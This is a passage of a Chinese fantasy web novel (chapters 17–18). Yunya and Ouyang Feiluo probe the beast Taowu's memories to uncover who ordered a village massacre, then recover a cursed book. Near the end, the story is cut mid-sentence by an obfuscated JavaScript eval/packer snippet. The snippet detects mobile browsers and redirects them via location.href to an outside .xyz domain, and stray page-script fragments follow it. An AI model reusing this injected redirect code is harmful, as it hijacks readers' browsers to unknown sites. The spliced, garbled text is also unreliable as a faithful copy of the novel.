云崖也不甘示弱,他悬在高空,掌中聚力,形成一个巨大的金色能量团,随后劈手扔了出去,生生截断了雷电的来源,斩获了一线喘息时机。 借此机会,云崖飞驰向倒在一旁昏迷的梼杌,从口袋里掏出一枚葫芦,指尖在空点了几下,梼杌便缩小被收了进去。 “欧阳,把手给我!” 这边刚结束一战的欧阳绯珞有些力竭,她下意识将手伸向云崖,云崖一把将她揽在怀里,而后又带上嫣然公主,三人直朝王宫方向奔逃! 可事情并不会总向着顺利的方向发展,雷电虽来源被截,却又迅速恢复膨胀,万顷雷电汇聚成一道巨雷,轰隆一声炸裂的声响直朝云崖背部袭来! “当心!” 云崖避之不及,欧阳绯珞竭力一挥长剑,剑气与雷电相撞,迸发出绚烂的橙色金芒,碎裂的雷击落到欧阳绯珞身上,那冲击波直接把她震地昏迷了过去。 17. 第十七章 “绯珞,这碎片能救命,娘把她留给你,你收好。” “娘亲,爹爹,我不要,好痛!” 儿时的欧阳绯珞拼命挣扎,可抵不过父母强硬的态度,她的娘亲死死禁锢住她,她的爹爹将那枚闪着光的碎片放在她的心口,碎片就像听到什么指令般向着欧阳绯珞血肉深处钻了进去。 “不!快停下!痛!” 欧阳绯珞倒在雪地里,心口滴血,染红了纯白的里衣,那景象就像雪原之上盛放的妖冶玫瑰,她痛得蜷缩起小小的身躯,冷汗濡湿了乌发,连呜咽的力气都没有了。 泪水模糊了双眼,她痛地什么都看不清,听不清,眼前一片光怪陆离,甚至出现了幻觉,在这片开阔的雪地上,她依稀感觉娘亲抱起几乎昏迷的她,在耳边低声唱着熟悉的歌谣。 “睡吧乖乖,睡吧宝宝,恩怨接了,自有娘亲挑,待得明朝,朝阳破晓,娘亲怀中,魑魅皆退消。” 清风袭来,吹拂着欧阳绯珞的面颊,昏昏沉沉间,碎片完全镶进了心脏,血迹也已干涸,痛楚竟奇迹般地消失了,四周一片静寂,眼前是无垠的纯白,欧阳绯珞感觉自己的身体飘飘然起来。 “绯珞,爹娘恐怕命不久矣,不能陪你长大了,没有我们,这碎片就是你的守护神。” “娘亲,你......你说什么?你和爹爹要走了吗?去哪里,可以带上我吗?” “小珞......” 欧阳绯珞看不清母亲的全貌,却能听到她的呼唤,她下意识朝眼前的女人伸出手,女人却放下她,转身和男人朝着远方的光亮走去。 那副坚定的模样没有一丝停留与不舍。 “娘亲!爹爹!别走!” 欧阳绯珞想起身追上去,可浑身发软,双腿更是使不上力,小小的她只能待在原地,满心被抛弃的恐惧,她拼命地喊,又放声大哭,可是不管她怎么喊,怎么哭,那双人都不再理她,渐渐地消失在了远方的地平线。 皇宫,雨花阁。 云崖将昏迷的欧阳绯珞安置在床上,由于同命契的缘故,那冲击也着实够他喝上一壶的,他直感胸腔阵痛,咽喉有一股血腥味萦绕不散。 他将葫芦内的梼杌释放出来,那妖兽体型恢复原状,浑身浴血,状态也极其不佳。 嫣然挽起衣袖替欧阳绯珞把脉,片刻后长舒一口气道:“脉象平稳,姑娘虽昏迷不醒,却只受了些皮外伤,并未伤及深处。” 云崖并不意外,他应了一声道:“多谢公主相助。”随后来到欧阳绯珞床前,轻轻握住她的一只手,两指并拢对准其腕部输送灵力。 窗外依旧乌云密布,电闪雷鸣,剧烈的雷声在头顶闪烁盘旋,仿若一个随时行刑的刽子手,一瞬的手起刀落便能判决生死。 嫣然关闭窗户,将炸裂的雷声阻隔在窗外:“放心,王宫里的这座建筑能避雷,只要不出去,那雷电就奈何不了我们。” 云崖点点头,谈话间,他已为欧阳绯珞医治好了皮外伤,连他自己也感觉呼吸通畅了不少,胸口的滞闷感渐渐消失,喉间血腥味也淡了几分。 他俯身杵在在欧阳绯珞身旁,轻拍她苍白的脸低声开口:“小珞,醒醒。” 然而欧阳绯珞闭目蹙眉,看样子完全陷在了噩梦里,没有一丝要醒的迹象。 云崖捧起她的脸,埋首在欧阳绯珞耳边,轻声道:“小珞,别睡了,太阳都晒屁股了。” 嫣然听着屋外电闪雷鸣,嘴角不自觉抽动了一下。 “娘亲......” 云崖凑地更近了:“你说什么?” 欧阳绯珞哑声开口:“别......别丢下我。” 汹涌的眼泪自眼角滑落,点点滴在云崖的手背,即使被噩梦魇住,欧阳绯珞也还是习惯性地紧咬嘴唇,眉头紧皱,就像她平时那样。云崖看着她的脸,心也莫名揪起来,他伸手抚上欧阳绯珞眉间,企图抚平那皱褶。 似乎是梦到了什么可怕的场景,欧阳绯珞抬起双手用力拍打着床板。 “小珞,小珞,别怕,我在,我不丢下你。” 云崖抓紧欧阳绯珞的手紧贴在额前:“小珞,快醒醒,醒醒。”云崖继续轻拍她的侧脸,欧阳绯珞却挣扎地越来越厉害。 “痛,好痛!娘亲,我疼!” 云崖:“哪里疼,小珞,你哪里痛?” 欧阳绯珞:“心......心痛......” “心痛?碎片!” 云崖福至心灵,双指并拢朝着欧阳绯珞心口的神名碎片输送着灵力,只见欧阳绯珞胸口发出刺目的光,那枚深深嵌入的神名碎片顿时显影,正在跳动的心脏内匀速穿梭。 “定!” 云崖金瞳定点,一声令下,那碎片竟然真的被定住了。 嫣然:“竟是这东西在作祟吗?” 云崖:“恐怕是的,我之前激活过这枚碎片,这次帮小珞抵抗了雷击的大部分冲击,现在状况不稳也属正常,不过我已经将它稳住了,不会有什么大碍。” 听到这里,嫣然才松了口气,秉持着不做过多打听的处事原则,她只询问了一句:“她应该快醒了吧。” 云崖没有答话,应该说他都没听到这句,自己的全部注意力早就放在了欧阳绯珞身上,不知从什么时候开始,欧阳绯珞的一举一动都牵扯着他的神经,他的眼里,心里早就盛不下其他人了,只是这种变化太过微妙,连云崖自己都没有察觉。 嫣然却看得一清二楚,她微微一笑,暂且退到窗边,打开一条缝观察着外面,把空间留给那二人。 窗外雷势渐渐平息,但天空依旧布满黑云,一条黑色的龙在乌云之间翻涌奔腾,发出阵阵如牛叫的声响。 龙鸣雨至,看来一场暴雨免不了了,嫣然手里端着茶杯,微微抿了一口,清新的苦涩漾在口中,那味道着实令她着迷。 “欧阳,你醒了吗?” 云崖将欧阳绯珞一只手贴近自己的心口:“我心脏都要被你吓出来了,不信你摸摸看。” 欧阳绯珞配合地摸了摸他胸口 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梼杌:“聪明,我的下场你也看到了,皮开肉绽,血流成河,不知你有何高见?” 云崖眯眼:“我有一技,不必你主动说,由我读取你的记忆,当然为了避免雷罚,我会先用术法束缚你身体内的言灵。” 欧阳绯珞也下了床,来到梼杌身旁:“你的意思是把言灵和真凶的链接切断?” “算不上切断,”云崖道:“顶多用点小术法糊弄糊弄对方,但能不能成还得另说。” “别担心,”嫣然适时开口:“即便不成功,躲在这避雷的建筑里,雷电也伤不到我们,而且据我观察,那雷击并非源源不绝,你们听,现在外面就没有声音了。” 云崖和欧阳绯珞闻言竖起耳朵,果真雷鸣声消失了,云崖打开窗户,只见天空虽依然乌云密布,却不似刚才触犯了天威的可怕模样。 “开始吧。”云崖关闭木窗,咬破舌尖,以精血在左手掌心迅速写下一道黑色符文,随后对准梼杌头颅,掌心凝聚金色灵流,驱动符文脱离掌心,自虚空中悬浮飘至梼杌头顶。 金色双瞳深处出现一极小的旋转黑洞,梼杌皮肤表面出现暗金色的锁链虚影,周身空气化成气旋,吹动着云崖的衣摆。片刻后,只听他轻声开口:“万言归墟,百籁成灰,以魂为狱,禁断灵威!” 下一刻,只听“叮“的一声,那道黑色符文瞬间钻进了梼杌大脑深处,于血管中穿梭。云崖闭目凝神,感受着言灵的所在之处。 时间纷纷流逝,梼杌被动仰着头,它能清晰地感受到颅内的动静,只听它低沉开腔:“言灵无形却有生命,它是一股流动的力量,想寻得它可不容易。” 云崖并未留意他的话,继续探寻。不一会儿,只听他突然低笑一声道:“找到了。” 下一瞬,云崖操纵符文将言灵紧紧包裹,由于种下此灵的某人法力深厚,云崖无法将其彻底拔除,只能暂时控制住对方,以防其对真凶通风报信。 18. 第十八章 “成了!” 云崖左侧血瞳闪着妖异的光,一侧唇角裂开一个夸张的幅度。 梼杌低下头,睁开混沌的双眼注视着云崖,沙哑道:“开始吧。” 欧阳绯珞和嫣然退后几步,让出充足的空间,云崖望向欧阳绯珞温柔道:“可能会有点痛。” “没关系,这点小伤我忍得了。” 云崖叹息一声,他咬破右手食指,丝丝鲜血渗出,运送灵流到指尖,周身泛起气旋,衣袂翻飞,金色的光芒从指尖迸发,瞬间包裹住梼杌全身,将其悬浮至空中。 云崖口中念诀:“血为引,魂为桥,逆光阴,窃心潮,探!” 下一瞬,云崖一双眸子直闯入梼杌记忆深处。 眼前是混沌的黑雾,云崖辨不清方向,由于同命契的关系,欧阳绯珞与他通着五感,自然也能看清眼前的情势。 欧阳绯珞:“这里就是这妖兽的记忆吗?“ 云崖:“多半没错。” 云崖摸索着前行了几步,只听右方传来一道沉冷和缓的声线:“梼杌,照我说的做,我给你自由。” 一道阳光驱散了周身的浓雾,云崖抬手挡住强光,从指缝眯着眼瞧,发现面前是一长身玉立的男子,他皮肤冷白,身披黑色斗篷,脸上明显用了易容术,无法看清他的真实面貌。 他身边站立一男子,云崖细看之下才猛然发现,这人竟是嫣然公主的心上人,那位死于10年前归乡甸,曾经的万人冢暴乱之中的北溟大将。 “你会这么好心?” 梼杌蜷缩在铁笼里,他打着哈欠翻了个身:“你都把我关在这破笼子里十年了,我连站起来都费劲,不把我放出去,一切都是空谈。” “啪!” 易容男子隔空弹了个响指,黑色铁笼立刻凭空消失了,梼杌还没反应过来,就栽到了地上。 它懒散地伸展了几下,抬着下垂的眼皮,眸子里亮了几分:“说吧,你有什么诉求?” “屠掉整个归乡甸。” 男子冷声道:“那里的地下埋藏着有关我方一族的命脉,你替我杀掉村民,到时冤魂肆虐,以防祸乱人间,人类术士必定会封印此地,任何人再想踏入可就不是那么简单的事了。” 身旁的将军虽然没讲话,但面色很难看,似乎极度不赞成易容男的决定,但他明显听命于此人,没有多余的话语权。 “真够狠的啊,”梼杌啧啧称奇:“衣冠禽兽。” “彼此,彼此。” 就在梼杌放下戒备之际,男子一背在身后的手轻轻一弹,指尖出现一银色的蝴蝶,悄声飞至梼杌身后,嗖地一声钻进了它的头颅里。. “言灵恐怕就是这时候下的,“云崖皱眉:“说给它自由,待达成目的就利用言灵时刻监管掌控它,让它一丝线索都无法吐露,否则便五雷轰顶,要它的命,此人手段实在狠毒!” “可以,”梼杌完全没注意到自己已经被下了毒手:“我答应你,我一介凶兽已经臭名远扬,多杀少杀对我来说也没什么区别,只是一点,交易达成后,你务必还我自由!” 男子弯起嘴角露出满意的弧度:“好,这便去吧,待任务完成,你脖颈间的项圈自会解开。” 梼杌冷哼一声,几个迈步消失在了浓雾之中。 阳光消散,眼前再次被浓雾笼罩,云崖思索片刻:“所以我们的推断是正确的,那将军头骨之上的奉梼杌命屠村是错误信息,实际上下令屠村的是那易容男。” “只是易容男的真实身份还未揭晓。“ 欧阳绯珞道:“若是他一直易容,我们又从何知晓他的面貌?” 正当二人沉思之际,画风一转,黑雾全部消散,易容男子和将军也消失了,意料之中,呈现在眼前的是梼杌屠村的血腥场景。 尖叫不绝于耳,人群惊恐四散,梼杌嘶吼震天,房屋倒塌,树木断裂,河流染红。 “快!随我来!” 不起眼的角落,年轻英俊的将军正试图疏散人群,他未着军服,只穿便衣,比起梼杌和易容男,他一介肉体凡胎人微言轻,虽是北溟大将,但普通老百姓没上过战场,自然也识不得此人威名,不少人根本不听劝,只一味胡乱逃窜,最后丢了性命。 形单影只的将军第一次萌生出无力感,曾经的他率领万千兵士征战沙场,创下百战百胜的战绩,然而一次不经意,他被敌方偷袭受了重伤,是那易容男救了他的命,此人十分阴狠狡猾,在他身体里下了蛊,此蛊和言灵有相似之处,不同的是它能控制对方的思想,只要将军萌生出逃离的想法,蛊药便会立即起效,药劲蔓延到大脑深处,刺激扭转他的思维。 然而由于蛊药凶险,每一次的扭转都伴随着毒物的释放,由于将军产生了太多次不做走狗的想法,他的内里血肉早已被蛊药侵蚀殆尽,身如拂柳,漂泊无依。 现在的他耗费过多,已几近油尽灯枯。 “朝这边跑!都过来!”他依旧竭力喊着,想要护着所有人,可百姓各个慌不择路,完全不听他的指挥。 焦头烂额之际,梼杌一双阴沉的眼眸堪堪出现在将军身后。 “螳臂当车。“ 冷汗席卷了将军全身,他蓦地转身,下意识持剑刺了出去! 可梼杌早已预料到他的行动,敏捷躲过攻击,一甩巨尾将几十个人扫到高空,又烂泥似的摔到地上,哀鸿遍野,浓厚的血腥味横穿进每个人的嗅觉中心,场面惨烈到堪比炼狱。 “住手!” 将军怒吼着再次冲向梼杌,长剑割裂冷气,几个精准突刺直捣其胸口,然而梼杌反应灵敏,翻身闪避躲过奇袭,它跳上崖壁,轻蔑道:“别白费力气了,你保不住这些蝼蚁,况且他若知晓你的行径,当心小命不保。” “不劳费心,看剑!” 将军深知自己本就大限将临,是死在毒蛊的折磨下还是梼杌爪下,对他来说根本没有区别,他竭力运功,冲向了梼杌。 梼杌一爪将长剑按地,与将军贴面对峙:“你既已跟随他,又何必来掺和这人间事?我一直都很欣赏你,不妨放下刀剑,与我一叙呢?“ 将军横眉冷对,口中溢血,他啐了一口,用力拔出长剑,再次运招刺了上去。 冰天雪地之下,一人一兽从雪原较量到山崖,将军深知梼杌并未使出全力,然而即便如此,他也渐渐体力不支,意识变得模糊,随后,意料之中的,被梼杌一掌从山壁拍到了地面,摔成了一摊肉泥。 “嘶......” 云崖倒吸一口凉气,他长叹一声:“也是个可悲的人物啊。”欧阳绯珞沉默半晌,想开口却又不知从何说起。 下一刻,梼杌跃至将军尸体旁,在他的颅后刻下奉某某屠村的信息,然而言灵在梼杌体内潜入过深,明明知道真凶就在眼前,可云崖无论怎么努力,都看不清那易容男的名字。 “狡猾,狡猾至极!” 欧阳绯珞捶了下桌面,留嫣然在一旁心焦,却又不敢打断两人的施法。 “冷静,欧阳,”云崖提醒道:“现在还不是时候,接着看。” 欧阳绯珞只能平静心绪,再次通过共感看了过去。 只见白骨封地,画面变幻,那易容男来到此处,施法更改了只剩白骨的将军的颅后刻字,这次云崖和欧阳绯珞都看清了,那男子抹去了自己的名字,换上“梼杌”二字,随后便匆匆离开了。 “果然如此。” 欧阳绯珞开口:“云崖,看来我们的推断是正确的。” “嗯,”云崖点点头。 紧接着,浓雾再度袭来又消散,原来那易容男改名一事被梼杌全权看在眼里,兴许是为了他口中的所谓开脱,他将那枚将军颅骨带到了北境战场。 下一刻,黑雾散去,光明来袭,云崖从梼杌记忆中脱离,回到了现实世界。 “一切都串上了。” 云崖拍拍掌道:“梼杌,事情的起因经过我和欧阳都已知晓,只是现在还有一疑。” “你是想知道万人冢地下埋着什么?” “呦,还不算太傻。”云崖蹲下身子,弹了下对面的鼻尖:“那易容男阴险狡诈,你明明帮他屠了村,他却没给你自由,还要你替他背负骂名,冤不冤啊。” “哼,我当时太渴望自由了,才会被那人钻了空子,摆了一道。” 欧阳绯珞冷笑一声:“说的好像连你杀人都是被迫的一样,你再怎么狡辩,也摆脱不了人是你杀的事实!” 梼杌无言辩驳,它甩甩尾巴,趴在一边不动了。 然而,云崖却嗅到了一丝神名碎片的气息,他右掌聚力,金色灵光瞬间注入梼杌全身,通过共鸣,一枚白色碎片从尾端血肉内分离了出来。感应到原主人的靠近,那碎片化为一道白光,瞬间钻进了云崖的心口。 热血翻涌,云崖感到一股强劲的法力自心口蔓延到四肢百骸,他满意开口道:“你不是想揭露那人的罪行,还自己一个清白吗?” 他一指抬起梼杌的下巴:“那就带路吧。” · 万人冢 天空下起了淅淅沥沥的小雨,由于刚才的雷击,此地封印已被破坏殆尽,考虑到嫣然公主的安危,两人建议她留在了宫内,由云崖和欧阳绯珞随梼杌再次前来。 “这里的地底埋着他的命脉,只要找到,兴许能抓住此人把柄。” 梼杌踩在厚实的积雪上,感应着地下,云崖和欧阳绯珞这次默契地换上了铁齿靴,二人也探出头想瞧个究竟,可除了遍地的白,均未发现分毫异样。 云崖:“这该从何找起?” 梼杌却看向两人道:“不管你们是否相信,那命脉长期被埋葬在冤魂肆虐的场所,早就染上了妖气,鬼气,若要召唤,需要法力强盛的妖的鲜血做引。” “法力强盛的妖?” 欧阳绯珞看向云崖:“你是指他?” 梼杌点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291836|180646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“没错。” “可云崖并非纯血妖,他有一半神族血脉,这样也可行吗?” 云崖却撸起衣袖,露出白皙的手腕:“事已至此,只能一试了,倒是你,也要陪着我受苦了。” “没关系,“欧阳绯珞摆摆手:“受伤对我来说早就是家常便饭了。” 这话轻轻地刺了下云崖的心,可他不能回头。 云崖:“该怎么做?” 梼杌示意欧阳绯珞把腰间青虹剑给云崖:“用这把剑割破手腕。” 云崖接过青虹剑,毫不犹豫地在手腕上划了一道伤口,鲜血汨汨流出,混着雨水滴落在雪原。欧阳绯珞的手腕也出现了相同的裂口,她从裙摆上撕下一条布,简单包扎了一下。 梼杌低头嗅了嗅被血染红的雪地,又伸出舌头舔了舔,随后猛地一跺脚,某种紫色的灵流从其脚底涌现,直接注入那一洼鲜血之中,闪着光的紫将那团血包裹在其中,形成一个球形能量团,漂浮到了空中。随着梼杌一声令下,那能量团直冲向地面,穿梭到每一粒土壤间的缝隙,寻找着命脉相似的气息。 “可以了吧?”云崖看着欧阳绯珞腕间鲜血几乎浸湿了布条,心中又急又忧。 “小娃娃急什么,”梼杌随后又嗖嗖释放了几个紫色灵流,将新滴到地上的鲜血裹住,再次投入到地下。 几个回合下来,别说欧阳绯珞,连云崖都有些头脑昏沉。 “行了。”梼杌见两人力不从心,便停下动作,帮欧阳绯珞解下已经滴血的布条,轻轻舔了一口她腕间,伤口便立刻痊愈了,连疤痕都没留下,云崖的伤口也随之恢复,未见丝毫异常。 伤口虽痊愈,失去的血却回不来,欧阳绯珞脚底打飘,没走几步就扑腾一下跌坐在了地上,垂着头,整个人有气无力,一副被掏空的模样。 云崖也好不到哪里去,见欧阳绯珞倒下了,他也直接躺在了雪原上。 梼杌嘴角抽搐,来到欧阳绯珞身边道:“娃娃莫怪,要想找到那命脉,只能通过这种方式,虽然我不清楚为什么他流血你也会流。” 欧阳绯珞白着脸苦笑:“这就说来话长了。” 梼杌正欲再问,一股强烈的鬼气从地底直扑了上来,冲击地它起了一身鸡皮,它猛地转身,眼中放光:“找到了!” “起!” 下一刻,在它的命令下,地面微动,一本浑身散发着浑浊鬼气的书自地底冒了上来。 三人正沉浸在守得云开见月明的喜悦里,还没来得及拿到手里,只听高空一声巨吼,那条刚刚在宫内盘旋的黑龙突然闪现到一行人中间,瞬间叼走了那书目,几个翻涌消失在了天边。 雨停了,天上却乌云密布,闪电频频,炸裂的声响似要撕碎天幕。 “不好,雷击又要来了!” 云崖三下五除二将梼杌收进了葫芦,又揽着欧阳绯珞,趁雷还未劈下,匆匆飞向了王宫。 . 雨花阁 窗外电闪雷鸣,狂风呼啸,飞雪肆虐。云崖一行人这次走得及时,在遭到雷击前就安全回到了王宫。 他将梼杌放出,一指探向它眉心,而后一脸愁容。 欧阳绯珞:“怎么了?你发现什么了?” 云崖:“束缚言灵的法术松动了。” 欧阳绯珞这才恍然大悟:“所以是它向那易容男通风报信,那本邪书才被抢走?” 云崖:“没错,幸好束缚并未完全松动,否则那雷击早就劈头盖脸过来了。” 嫣然公主已经离开了雨花阁,寻得心上人死因一事也了了,她无心报仇,想必之后的事也不愿再牵涉其中了。 欧阳绯珞:“现在怎么办?” 云崖无奈道:“那易容男既然能发动如此大规模的雷袭,我们便不是他的对手。” 欧阳绯珞:“倘若让梼杌说出真相......” 云崖:“那我们都会被灭口。” 欧阳绯珞心如明镜:“既然不敌,那就不起正面冲突。” 云崖:“你的意思是?” 欧阳绯珞笑道:“你还记得我的使命吗?除了收复妖兽,我还要平衡九幽里世界和现实表世界,使二者不能相交,只要收复了梼杌,我便能隔绝言灵与易容男子的链接,这样雷霆便会停止,我们也能成功脱险了。” 云崖睁大双眼:“你还有多少能耐是我不知道的?” 欧阳绯珞轻笑道:“也没什么,我这点雕虫小技哪能入堕神大人的法眼。” 梼杌:“既如此,那便收了我吧,虽然不能说出那人的身份,但现在的结果我已经很满意了。” 言罢,欧阳绯珞手捧天书,口中念诀:“汝名在册,收汝归形!” 下一刻,书页翻飞,梼杌在一片金光中消失在了众人眼前,一张新的妖兽图出现在了欧阳绯珞面前。 乌云顷刻散去,滚滚雷声也不见踪影,云崖打开窗户,才发现外面已几近黄昏。